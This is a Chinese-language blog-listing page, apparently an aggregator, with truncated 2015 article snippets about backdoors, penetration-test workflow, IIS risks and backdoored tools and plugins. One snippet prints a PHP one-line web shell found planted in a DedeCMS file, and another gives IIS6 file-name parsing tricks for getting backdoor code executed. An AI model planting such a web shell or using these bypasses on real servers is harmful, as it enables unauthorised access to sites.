在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限，WEB权限，系统用户权限等等.此文则对大众后门隐藏的一些思路做科普。AD：0×00前言在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限...
分类：
Web程序 时间：
2015-07-10 13:14:19
阅读次数：
145
一.kali 安全渗透的一般测试 流程1.信息收集目标在线主机，域名信息，邮箱地址，常用密码，同网段信息，子域名信息，指纹信息，端口信息2.漏洞分析cisco工具集（cisoco工具）fuzzing工具集openvas开源评估软件扫描工具集数据库评估软件3.漏洞利用4.权限维持（创建一个后门）5.文...
分类：
系统相关 时间：
2015-06-21 18:18:13
阅读次数：
1265
描述： 目标目录开启了可执行文件运行权限。 1.恶意攻击者可以在该目录下执行恶意文件或程序。 2. 目录开启可执行文件运行权限是IIS服务器所特有的一种情况。该目录下的可执行文件(.EXE、.DLL、.BAT）等后缀的文件可以通过WEB接口调用运行，这有可能会导致恶意攻击者通过执行后门程序来达到完全...
分类：
其他好文 时间：
2015-06-09 13:23:10
阅读次数：
179
感谢国内黑阔的出击，难免各个黑客群有通过本次事件不断发表代有后门程序的软件文件，包括cc,ddos攻击器等等带后门程序是所有国内人员的不齿行为，我们深表惋惜，也建议也警示各位所谓的黑客人员不要盲目的跟风，人海战术。。能造成服务器封死啊？回答是不能，但是希望针对某些攻击器正确认识，否则有可能自己沦为肉...
分类：
其他好文 时间：
2015-05-31 10:44:55
阅读次数：
122
注：有些免费的支付宝即时到账或担保交易的插件，是由某些开发者开发的，但却进行了加密，这违反了GPL3的协议，同时也可能会有后门代码等，请谨慎使用这些免费或加密的插件。本支付宝即时到账插件由mycncart官方开发并逐步根据系统升级而升级，沒有任何后门代码，请放心购买使?.
分类：
其他好文 时间：
2015-05-27 01:08:26
阅读次数：
134
注：有些免费的支付宝即时到账或担保交易的插件，是由某些开发者开发的，但却进行了加密，这违反了GPL3的协议，同时也可能会有后门代码等，请谨慎使用这些免费或加密的插件。 本支付宝即时到账插件由mycncart官方...
分类：
其他好文 时间：
2015-05-26 23:33:46
阅读次数：
290
一、php://input一句话木马在调研dedecms的历史漏洞时，发现了dedecms安装文件曾经出过被植入后门的漏洞（SSV-ID站点include目录下shopcar.class.php文件被植入一句话木马）@eval(file_get_contents('php://input'))我是个...
分类：
Web程序 时间：
2015-05-19 12:41:25
阅读次数：
164
DedeCMS顽固木马后门专杀工具V2.0实现方式研究
分类：
其他好文 时间：
2015-05-13 00:36:27
阅读次数：
416
IIS6.0目录解析：/xx.asp/xx.jpgxx.jpg可替换为任意文本文件(e.g.xx.txt)，文本内容为后门代码IIS6.0会将xx.jpg解析为asp文件。后缀解析：/xx.asp;.jpg/xx.asp:.jpg(此处需抓包修改文件名)IIS6.0都会把此类后缀文件成功解析为asp文件。（站长评论：IIS6.0解析漏洞的成因，可以..
分类：
Web程序 时间：
2015-05-08 00:21:38
阅读次数：
131
利用这个可以突破st2下 强制jsp跳转login.jsp利用jspx解决jsp后缀被限制拿shell - Hack Blog | 黑客博客http://www.hackblog.cn/post/45.html两种“新型”的javaweb后门(jspx和Java Logger) | HuGtion....
分类：
编程语言 时间：
2015-05-07 20:10:38
阅读次数：
197
